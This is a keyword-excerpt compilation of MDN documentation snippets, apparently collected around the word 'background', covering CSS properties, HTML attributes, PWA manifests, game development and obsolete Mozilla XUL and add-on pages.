...er: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); trans...
...form: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section {
background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result once you have done this, you can work on the element in the 3d space.
Mozilla CSS extensions - CSS: Cascading Style Sheets
on-fill-mode [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-backface-visibility [prefixed version still accepted] -moz-
background-clipobsolete since gecko 2 -moz-
background-originobsolete since gecko 2 -moz-
background-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-
background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-bord...
... scrollbartrack-horizontal scrollbartrack-vertical separator spinner spinner-downbutton spinner-textfield spinner-upbutton statusbar statusbarpanel tab tabpanels tab-scroll-arrow-back tab-scroll-arrow-forward textfield textfield-multiline toolbar toolbarbutton-dropdown toolbox tooltip treeheadercell treeheadersortarrow treeitem treetwisty treetwistyopen treeview window
background-image gradients -moz-linear-gradient -moz-radial-gradient elements -moz-element sub-images -moz-image-rect() border-color -moz-use-text-colorobsolete since gecko 52 (removed in bug 1306214); use currentcolor instead.
... border-style and outline-style -moz-bg-insetobsolete since gecko 1.9 -moz-bg-outsetobsolete since gecko 1.9 -moz-bg-solidobsolete since gecko 1.9 <color> keywords -moz-activehyperlinktext -moz-hyperlinktext -moz-visitedhyperlinktext -moz-buttondefault -moz-buttonhoverface -moz-buttonhovertext -moz-default-
background-color -moz-default-color -moz-cellhighlight -moz-cellhighlighttext -moz-field -moz-fieldtext -moz-dialog -moz-dialogtext -moz-dragtargetzone -moz-mac-accentdarkestshadow -moz-mac-accentdarkshadow -moz-mac-accentface -moz-mac-accentlightesthighlight -moz-mac-accentlightshadow -moz-mac-accentregularhighlight -moz-mac-accentregularshadow -moz-mac-chrome-active -moz-mac-chrome-inactive -moz-mac-focusring -moz-mac-menuselect -moz-mac-menushadow -moz...
...moz-inline-gridobsolete since gecko 62 -moz-inline-stackobsolete since gecko 62 -moz-inline-table -moz-gridobsolete since gecko 62 -moz-grid-groupobsolete since gecko 62 -moz-grid-lineobsolete since gecko 62 -moz-groupbox -moz-deckobsolete since gecko 62 -moz-popupobsolete since gecko 62 -moz-stackobsolete since gecko 62 -moz-markerobsolete since gecko 62 empty-cells -moz-show-
background (default value in quirks mode) font -moz-button -moz-info -moz-desktop -moz-dialog (also a color) -moz-document -moz-workspace -moz-window -moz-list -moz-pull-down-menu -moz-field (also a color) font-family -moz-fixed image-rendering -moz-crisp-edges <length> -moz-calc list-style-type -moz-arabic-indic -moz-bengali -moz-cjk-earthly-branch -moz-cjk-he...
Privacy and the :visited selector - CSS: Cascading Style Sheets
only the following styles can be applied to visited links: color
background-color border-color (and its sub-properties) column-rule-color outline-color the color parts of the fill and stroke attributes in addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.
... here is an example of how to use styles with the aforementioned restrictions: :link { outline: 1px dotted blue;
background-color: white; /* the default value of
background-color is `transparent`.
...*/ } :visited { outline-color: orange; /* visited links have an orange outline */
background-color: green; /* visited links have a green
background */ color: yellow; /* visited links have yellow colored text */ } impact on web developers overall, these restrictions shouldn't affect web developers too significantly.
... they may, however, require the following changes to existing sites: using
background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.
border-style - CSS: Cascading Style Sheets
unless a
background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...unless a
background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3px;
background-color: #52e396; } tr, td { padding: 2px; } /* border-style example classes */ .b1 {border-style:none;} .b2 {border-style:hidden;} .b3 {border-style:dotted;} .b4 {border-style:dashed;} .b5 {border-style:solid;} .b6 {border-style:double;} .b7 {border-style:groove;} .b8 {border-style:ridge;} .b9 {border-style:inset;} .b10 {border-style:outset;} result specifications specification ...
... status comment css
backgrounds and borders module level 3the definition of 'border-style' in that specification.
box-decoration-break - CSS: Cascading Style Sheets
the specified value will impact the appearance of the following properties:
background border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below.
...the
background is also drawn independently for each fragment, which means that a
background image with
background-repeat: no-repeat may nevertheless repeat multiple times.
... formal definition initial valuesliceapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax slice | clone examples inline box fragments an inline element that contains line breaks styled with: .example {
background: linear-gradient(to bottom right, yellow, green); box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow; padding: 0em 1em; border-radius: 16px; border-style: solid; margin-left: 10px; font: 24px sans-serif; line-height: 2; } ...
... now, the same example but styled with box-decoration-break: clone results in: note here that each fragment has an identical replicated border, box-shadow, and
background.
<gradient> - CSS: Cascading Style Sheets
<div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient {
background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); } radial gradient example a simple radial gradient.
... <div class="radial-gradient">radial gradient</div> div { width: 240px; height: 80px; } .radial-gradient {
background: radial-gradient(red, yellow, rgb(30, 144, 255)); } repeating gradient examples simple repeating linear and radial gradient examples.
... <div class="linear-repeat">repeating linear gradient</div> <br> <div class="radial-repeat">repeating radial gradient</div> div { width: 240px; height: 80px; } .linear-repeat {
background: repeating-linear-gradient(to top left, lightpink, lightpink 5px, white 5px, white 10px); } .radial-repeat {
background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px); } conic gradient example a simple conic gradient example.
... <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient {
background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
offset-anchor - CSS: Cascading Style Sheets
for more specifics, see the <position> and
background-position reference pages.
... note that the 3-value position syntax does not work for any usage of <position>, except for in
background(-position).
...the three are then given different
background-color and offset-anchor values.
... html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section {
background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto;
background: cyan; } .offset-anchor2 { offset-anchor: right top;
background: purple; } .offset-anchor3 { offset-anchor: left bottom;
background: magenta; } @keyframes move { 0% { offset-...
position - CSS: Cascading Style Sheets
html <div class="box" id="one">one</div> <div class="box" id="two">two</div> <div class="box" id="three">three</div> <div class="box" id="four">four</div> css .box { display: inline-block; width: 100px; height: 100px;
background: red; color: white; } #two { position: relative; top: 20px; left: 20px;
background: blue; } absolute positioning elements that are relatively positioned remain in the normal flow of the document.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> css body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: absolute;
background: yellow; top: 30px; left: 30px; } result fixed positioning fixed positioning is similar to absolute positioning, with the exception that the element's containing block is the initial containing block established by t...
... </p> <div class="box" id="one">one</div> </div> css .box { width: 100px; height: 100px;
background: red; color: white; } #one { position: fixed; top: 80px; left: 10px;
background: blue; } .outer { width: 500px; height: 300px; overflow: scroll; padding-left: 150px; } result sticky positioning sticky positioning can be thought of as a hybrid of relative and fixed positioning.
...d> <dd>common</dd> <dd>converge</dd> <dd>crystal castles</dd> <dd>cursive</dd> </div> <div> <dt>e</dt> <dd>explosions in the sky</dd> </div> <div> <dt>t</dt> <dd>ted leo & the pharmacists</dd> <dd>t-pain</dd> <dd>thrice</dd> <dd>tv on the radio</dd> <dd>two gallants</dd> </div> </dl> css * { box-sizing: border-box; } dl > div {
background: #fff; padding: 24px 0 0 0; } dt {
background: #b8c1c8; border-bottom: 1px solid #989ea4; border-top: 1px solid #717d85; color: #fff; font: bold 18px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; whi...
url() - CSS: Cascading Style Sheets
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */
background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-ha...
...nd properties */
background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */
background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... the url() function can be included as a value for
background,
background-image, list-style, list-style-image, content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol in css level 1, the url() functional notation described only true urls.
... formal syntax url( <string> <url-modifier>* ) examples content property html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); } result data-uri html <div class="
background"></div> css .
background { height: 100vh; } .
background {
background: yellow;
background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications ...
Adding captions and subtitles to HTML5 video - Developer guides
no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666;
background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below.
...'none' : 'block'); } }); subtitle menu css we also added some rudimentary styling for the newly created subtitles menu: .subtitles-menu { display:none; position:absolute; bottom:14.8%; right:20px;
background:#666; list-style-type:none; margin:0; padding:0; width:100px; padding:10px; } .subtitles-menu li { padding:0; text-align:center; } .subtitles-menu li button { border:none;
background:#000; color:#fff; cursor:pointer; width:90%; padding:2px 5px; border-radius:2px; } styling the displayed subtitles one of the less well known about and supp...
...there are only a handful of css properties that can be applied to a text cue: color opacity visibility text-decoration text-shadow
background shorthand properties outline shorthand properties font shorthand properties, including line-height white-space for example, to change the text colour of the text track cues you can write: ::cue { color:#ccc; } if the webvtt file uses voice spans, which allow cues to be defined as having a particular "voice": 0 00:00:00.000 --> 00:00:12.000 <v test>[test]</v> then this specific 'voice' will be stylabl...
...e like so: ::cue(v[voice='test']) { color:#fff;
background:#0095dd; } note: some of the styling of cues with ::cue currently works on chrome, opera, and safari, but not yet on firefox.
Block formatting context - Developer guides
as explained in the guide to in-flow and out of flow elements, the float has been taken out of flow so the
background and border of the <div> only contain the content and not the float.
...class="float">i am a floated box!</div> <p>i am content inside the <code>overflow:auto</code> container.</p> </div> </section> <section> <div class="box" style="display:flow-root"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>display:flow-root</code> container.</p> </div> </section> css section { height:150px; } .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] {
background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; width: 200px; height: 100px;
background-color: rgba(255, 255, 255, .5); border:1px solid black; padding: 10px; } exclude external floats in the following example, we are using display:flow-root and...
... html <section> <div class="float">try to resize this outer float</div> <div class="box"><p>normal</p></div> </section> <section> <div class="float">try to resize this outer float</div> <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div> </section> css section { height:150px; } .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] {
background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; overflow: hidden; /* required by resize:both */ resize: both; margin-right:25px; width: 200px; height: 100px;
background-color: rgba(255, 255, 255, .75); border: 1px solid black; ...
... margin collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue {
background: blue; } .red-outer { overflow: hidden;
background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
HTML attribute reference - HTML: Hypertext Markup Language
background <body>, <table>, <td>, <th> specifies the url of an image file.
...use css
background-image instead.
... bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr>
background color of the element.
...please use the css
background-color property instead.
Web video codec guide - Web media technologies
this happens when an algorithm that uses blocks that span across a sharp boundary between an object and its
background.
... note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the
background).
... mosquito noise mosquito noise is a temporal artifact which presents as noise or edge busyness that appears as a flickering haziness or shimmering that roughly follows outside the edges of objects with hard edges or sharp transitions between foreground objects and the
background.
... if supported by the browser, vp8 allows video with an alpha channel, allowing the video to play with the
background able to be seen through the video to a degree specified by each pixel's alpha component.
How to make PWAs installable - Progressive web apps (PWAs)
it contains useful information, such as the app’s title, paths to different-sized icons that can be used to represent the app on an os (such as an icon on the home screen, an entry in the start menu, or an icon on the desktop), and a
background color to use in loading or splash screens.
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "
background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
...
background_color: a color used as the app's default
background, used during install and on the splash screen.
... the icon and the theme and
background colors are used to create this screen.
panel - Archive of obsolete content
a panel's content is loaded as soon as it is created, before the panel is shown, and the content remains loaded when a panel is hidden, so it is possible to keep a panel around in the
background, updating its content as appropriate in preparation for the next time it is shown.
...self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png to learn much more about content scripts, see the working with content scripts guide.
...addon.port.on("show", function onshow() { textarea.focus(); }); finally, the html file now references "get-text.js" inside a <script> tag: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> <script src="get-text.js"></script> </body> </html> styling panel content the panel's default style is different for each operating system: this helps to ensure that the panel's style is consistent with the dialogs displayed by firefox and other applications, but means you ne...
tabs - Archive of obsolete content
tabs.open({ url: "http://www.mysite.com", innewwindow: true }); // open a new tab on active window in the
background.
... tabs.open({ url: "http://www.mysite.com", in
background: true }); // open a new tab as an app tab and do something once it's open.
... in
background boolean if present and true, the new tab will be opened to the right of the active tab and will not be active.
Creating annotations - Archive of obsolete content
it is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('
background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } }); this selector listens for occurrences of the jquery mouseenter event.
... $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('
background-color'); $(matchedelement).css('
background-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on ...
... annotation editor html the html is very simple: <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style type="text/css" media="all"> body { font: 100% arial, helvetica, sans-serif;
background-color: #f5f5f5; } textarea { width: 180px; height: 180px; margin: 10px; padding: 0px; } </style> </head> <body> <textarea rows='10' cols='20' id='annotation-box'> </textarea> </body> </html> save this inside data/editor as annotation-editor.html.
Customizing the download progress bar - Archive of obsolete content
the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important;
background-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important;
background-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx
background-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this ...
...we are specifying the height of the progress meter on windows and a
background image on mac.
... the
background image (the first one in the file) should be a segment of whatever you want the unfilled portion of the progress bar to look like.
Tabbed browser - Archive of obsolete content
openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in
background if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...rface(ci.nsidomwindow); var gbrowser = adomwindow.gbrowser; //this is the gbrowser object of the firefox window this tab is in var atab = gbrowser._gettabforcontentwindow(contentwindow.top); //this is the clickable tab xul element, the one found in the tab strip of the firefox window, atab.linkedbrowser is same as browser var above //can stylize tab like atab.style.
backgroundcolor = 'blue'; //can stylize the tab like atab.style.fontcolor = 'red'; var browser = atab.linkedbrowser; //this is the browser within the tab //this is what the example in the previous section gives //end getting other useful stuff } else { components.utils.reporterror('exception: load context not found!!'); //this is li...
... .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow); var gbrowser = adomwindow.gbrowser; var atab = gbrowser._gettabforcontentwindow(contentwindow.top); //this is the clickable tab xul element, the one found in the tab strip of the firefox window, atab.linkedbrowser is same as browser var above //can stylize tab like atab.style.
backgroundcolor = 'blue'; //can stylize the tab like atab.style.fontcolor = 'red'; var browser = atab.linkedbrowser; //this is the browser within the tab //this is where the example in the previous section ends return { adomwindow: adomwindow, gbrowser: gbrowser, atab: atab, browser: browser, contentwindo...
In-Depth - Archive of obsolete content
also in the communicator.css add this code: .toolbar-primary-icon { width: 100px;
background-repeat: no-repeat;
background-position: top; } open up \classic\skin\classic\navigator\navigator.css and scroll down to the bottom.
...set the
background-image to a url of your choosing, such as url("chrome://navigator/skin/icons/dino.png");.
... when it's all done you should have something that looks like this: #navigation-toolbar > .toolbar-holder > .toolbar-primary-icon {
background-image: url("chrome://navigator/skin/icons/dino.png"); } put the image in that directory, fire up mozilla, and take a look at your creation.
jspage - Archive of obsolete content
on(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("
backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c,d){fo...
...)width|margin|padding)/)){return"0px";}}return a;},setstyles:function(b){for(var a in b){this.setstyle(a,b[a]); }return this;},getstyles:function(){var a={};array.flatten(arguments).each(function(b){a[b]=this.getstyle(b);},this);return a;}});element.styles=new hash({left:"@px",top:"@px",bottom:"@px",right:"@px",width:"@px",height:"@px",maxwidth:"@px",maxheight:"@px",minwidth:"@px",minheight:"@px",
backgroundcolor:"rgb(@, @, @)",
backgroundposition:"@px @px",color:"rgb(@, @, @)",fontsize:"@px",letterspacing:"@px",lineheight:"@px",clip:"rect(@px @px @px @px)",margin:"@px @px @px @px",padding:"@px @px @px @px",border:"@px @ rgb(@, @, @) @px @ rgb(@, @, @) @px @ rgb(@, @, @)",borderwidth:"@px @px @px @px",borderstyle:"@ @ @ @",bordercolor:"rgb(@, @, @) rgb(@, @, @) rgb(@, @, @) rgb(@, @, @)",zindex:"@",zo...
...in":e.start(d,1);break;case"out":e.start(d,0);break;case"show":e.set(d,1);break;case"hide":e.set(d,0);break;case"toggle":var b=this.retrieve("fade:flag",this.get("opacity")==1); e.start(d,(b)?0:1);this.store("fade:flag",!b);a=true;break;default:e.start(d,arguments);}if(!a){this.eliminate("fade:flag");}return this;},highlight:function(c,a){if(!a){a=this.retrieve("highlight:original",this.getstyle("
background-color")); a=(a=="transparent")?"#fff":a;}var b=this.get("tween");b.start("
background-color",c||"#ffff88",a).chain(function(){this.setstyle("
background-color",this.retrieve("highlight:original")); b.callchain();}.bind(this));return this;}});fx.morph=new class({extends:fx.css,initialize:function(b,a){this.element=this.subject=document.id(b);this.parent(a); },set:function(a){if(typeof a=="string"){a...
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {
background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...r event="click"><![cdata[ if (this.priority == 'normal') { this.priority = 'high'; this.setborder('2px solid red'); } else { this.priority = 'normal'; this.setborder('2px solid blue'); } var str = this.innertext + '\n\n'; str+= ('on ' + event.type + ' priority set to: ' + this.priority); window.alert(str); ]]></handler> <handler event="mouseover"><![cdata[ this.$bg = this.style.
backgroundcolor || '#ffff00'; this.style.
backgroundcolor = '#ffcc00'; ]]></handler> <handler event="mouseout"><![cdata[ this.style.
backgroundcolor = this.$bg; ]]></handler> </handlers> </binding> </bindings> notes.css .sticker { position: relative; left: 0px; right: 0px; float: left; clear: none; width: 10em; height: 10em; overflow: visible; margin: 1em 1em; padding: 0.5em 0.5em; bo...
...rder: 2px solid blue;
background-color: yellow; font: 1em normal "times new roman",serif; font-style: italic; cursor: default; } view this example ...
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadin
background, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs.
... if loadin
background is true, the tabs are loaded in the
background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs.
... the properties of params are following: boolean in
background boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
Creating a Skin - Archive of obsolete content
window > box {
background-color: #0088cc; } menubar,menupopup,toolbar,tabpanels {
background-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid #666666; } caption {
background-color: lightblue; } the inner box of the window (which actually surrounds all of the window content) has been changed to have a medium blue color...
... the
background color of the caption has also been changed to match the
background.
... css: .findfilesbox {
background-color: #0088cc; } xul: <vbox class="findfilesbox" orient="vertical" flex="100%"> <toolbox> rounding on the tabs next, let's modify the tabs.
Skinning XUL Files by Hand - Archive of obsolete content
in a cascading stylesheet, the style definitions have the following basic form: element { style-attribute1: value; style-attribute2: value; style-attribute3: value; } for example, the following definition -- were it not in serious conflict with the many menu style definitions in the global skin -- makes all xul menus appear with a one pixel border, a light blue
background, and 10 point fonts: menu { border: 1px;
background-color: lightblue; font-size: 10pt; } in addition to these basic element style rules, css also provides for the application of style information to classes of elements, and element ids.
... here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar {
background-image: url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar {
background-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above.
... add the following lines to the file: @import url(chrome://global/skin/); box#bbox {
background-color: lightgrey; } button#rd {
background-color: red; color: white; } save it in the same directory as your xul file.
XUL accessibility guidelines - Archive of obsolete content
it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous
background in accessibility—can understand them.
... color color alone is not used to convey meaning and sufficient contrast exists between font color and
background color.
... color alone is used to convey meaning, or font and
background color do not provide sufficient contrast.
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="
background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="
background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer dir="...
...bottom" height="2" style="
background-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="
background-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor: se-resize;"/> </vbox> </hbox> </window> resizing an element <stack style="border: 1px solid black;"> <button id="button" label="resizable" left="18" top="18" right="18" bottom="18"/> <resizer dir="topleft" style="
background: black; -moz-appearance: none;" element="button" left="0" top="0" width="16" height="16"/> <resizer dir="topright" style="
background: black; -moz-appearance: none;" element="button" right="0" top="0" width="16" height=...
..."16"/> <resizer dir="bottomleft" style="
background: black; -moz-appearance: none;" element="button" left="0" bottom="0" width="16" height="16"/> <resizer dir="bottomright" style="
background: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
example html content <p id="defaultthemes"> this paragraph should have a green
background with luna/royale/zune/aero windows themes and red with other themes.
... </p> <p id="nondefaultthemes"> this paragraph should have a green
background with windows classic or third-party themes and red with other themes.
... </p> <p id="notsupported">theme detection is not supported.</p> css content #defaultthemes, #nondefaultthemes {
background-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) {
background-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) {
background-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
Tiles and tilemaps overview - Game development
think about any game that uses regularly repeating squares of
background, and you'll probably find it uses tilemaps.
...this allows us to have a richer game world with less tiles, since the same image can be used with different
backgrounds.
... for instance, a rock that could appear on top of several terrain types (like grass, sand or brick) could be included on it's own separate tile which is then rendered on a new layer, instead of several rock tiles, each with a different
background terrain.
Scaling - Game development
adding a custom canvas
background colour we can also add a custom
background color to our canvas, so it won't stay black.
... the stage object has a
backgroundcolor property for this purpose, which we can set using css color definition syntax.
... add the following line below the other three you added earlier: game.stage.
backgroundcolor = '#eee'; compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we've set up the scaling for our game, let's continue to the third lesson and work out how to load the assets and print them on screen.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
here is an example that makes every html paragraph yellow against a black
